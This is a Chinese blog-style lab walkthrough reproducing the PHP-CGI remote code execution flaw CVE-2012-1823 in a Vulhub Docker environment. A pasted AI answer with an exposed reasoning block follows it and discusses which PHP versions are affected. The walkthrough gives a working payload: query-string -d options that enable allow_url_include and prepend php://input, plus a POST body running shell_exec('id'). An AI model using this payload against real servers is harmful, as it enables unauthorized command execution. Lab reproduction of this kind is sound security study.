CVE-2012-1823(PHP-CGI远程代码执行)

本文详细介绍如何基于Vulhub环境启动并复现CVE-2012-1823漏洞,包括利用特定参数进行攻击演示,如通过-s显示源码和使用-d执行命令等技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

基于vulhub漏洞环境:

安装vulhub漏洞环境
https://blog.youkuaiyun.com/qq_36374896/article/details/84102101

  • CGI模式下的参数:
    • -c 指定php.ini文件的位置
    • -n 不要加载php.ini文件
    • -d 指定配置项
    • -b 启动fastcgi进程
    • -s 显示文件源码
    • -T 执行指定次该文件
    • -h和-? 显示帮助

1.启动漏洞环境

进入 CVE-2012-1823
启动

sudo docker-compose up

在这里插入图片描述
查看正在运行的docker容器

docker ps

在这里插入图片描述
访问一下,没问题
在这里插入图片描述

2.-s显示源码

在这里插入图片描述

3.-d执行命令

?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input

<?php echo shell_exec('id');?>

用burp抓包修改包(这里要请求方式要改为POST,我截图的时候忘记改了)
在这里插入图片描述

返回结果

在这里插入图片描述

CVE-2012-2311 使用空白符加-的方式绕过检查。

<think>嗯,用户现在问的是CVE-2012-1823是否是PHP 5.3.29的漏洞。我需要先确认这个CVE的具体信息。之前用户问过PHP 5.3.29的安全漏洞,我列出了几个,但当时没有提到CVE-2012-1823,所以用户可能是在进一步确认或者发现了新的信息。 首先,我应该回忆一下CVE-2012-1823是什么。根据记忆,这个漏洞涉及到PHPCGI模式下的参数注入问题,特别是当PHPCGI方式运行时,攻击者可以通过查询字符串注入参数,导致执行任意代码。比如,在URL中添加?-s可能会泄露源代码,或者?-d指定配置导致远程代码执行。 然后需要确定PHP 5.3.29是否受此漏洞影响。根据CVE的发布时间,2012年,而PHP 5.3.29是2014年发布的,所以理论上这个版本可能已经修复了该漏洞。但需要具体查看PHP的版本修复情况。通常,CVE-2012-1823PHP 5.3.12和5.4.2中已经修复,所以如果5.3.29是后续版本,应该已经包含修复补丁。 不过,用户之前的问题中提到PHP 5.3.29没有修复某些漏洞,比如CVE-2014-0185等,可能因为PHP 5.3分支在某个时间点之后停止维护,但CVE-2012-1823的修复是在更早的版本,所以需要明确PHP 5.3.29是否在修复的版本之后。 需要查阅官方资料确认。PHP 5.3.29是5.3系列的最后一个版本,发布于2014年8月,而CVE-2012-1823的修复版本是5.3.12和5.4.2,这两个版本都比5.3.29早,所以5.3.29应该已经包含了该漏洞的补丁。因此,CVE-2012-1823并不影响PHP 5.3.29。 但是用户可能混淆了版本,或者可能使用的环境有其他因素,比如服务器配置导致漏洞仍然存在。比如,如果服务器未正确配置,或者使用了不受支持的旧组件,可能存在风险。但根据PHP版本本身,5.3.29已经修复了这个漏洞。 需要确认用户的意图,可能他们正在处理一个使用5.3.29的系统,并发现了CVE-2012-1823的报告,担心是否存在风险。需要明确回答漏洞是否存在,并给出建议,即使已修复,但5.3.29本身已过时,应升级到更高版本。 另外,用户可能是在测试漏洞,需要了解如何验证他们的PHP版本是否受影响,所以可以补充检测方法,比如查看PHP版本是否低于修复版本,或者检查服务器配置。 总结回答结构:首先明确回答CVE-2012-1823是否影响5.3.29,然后解释漏洞细节,说明修复版本,最后给出建议。</think>### **CVE-2012-1823PHP 5.3.29 的关系** #### **1. 漏洞归属** - **CVE-2012-1823** 是 PHP 的一个**高危远程代码执行漏洞**,但它**并非 PHP 5.3.29 的漏洞**。 - **受影响版本**:PHP 5.3.12 之前的 **5.3.x** 系列版本,以及 PHP 5.4.2 之前的 **5.4.x** 系列版本。 - **修复版本**:PHP 5.3.12 / 5.4.2(发布于 2012 年 5 月)。 #### **2. PHP 5.3.29 的状态** - PHP 5.3.29 是 5.3.x 系列的**最终版本**(发布于 2014 年 8 月),已包含对 CVE-2012-1823 的修复。 - 因此,**PHP 5.3.29 不受 CVE-2012-1823 影响**。 --- ### **漏洞原理** - **触发条件**:PHP 以 **CGI 模式**运行(例如通过 Apache 的 `mod_cgi`)。 - **攻击方式**:攻击者通过构造恶意 URL(如 `http://example.com/index.php?-s` 或 `?-d` 注入参数),可导致: - **源代码泄露**(利用 `-s` 参数)。 - **远程代码执行**(通过 `-d` 修改 PHP 配置,例如启用 `allow_url_include` 并加载远程恶意代码)。 --- ### **验证方法** 1. **检查 PHP 版本**: ```bash php -v ``` - 若版本低于 **5.3.12** 或 **5.4.2**,则存在风险。 - PHP 5.3.29 已修复,无需担心此漏洞。 2. **服务器配置检查**: - 避免使用已弃用的 CGI 模式,改用更安全的 `mod_php`(Apache)或 PHP-FPM(Nginx)。 --- ### **注意事项** - **PHP 5.3.x 的整体风险**:尽管 5.3.29 修复了 CVE-2012-1823,但该系列已于 2014 年停止支持,存在其他未修复漏洞(如 [Ghost 漏洞](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0235) 和 SSL/TLS 协议缺陷)。 - **升级建议**:**立即迁移**至 PHP 7.4+ 或 8.x 长期支持版本,并更新关联依赖库(如 OpenSSL)。 如需进一步排查或迁移方案,可提供服务器环境详情。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值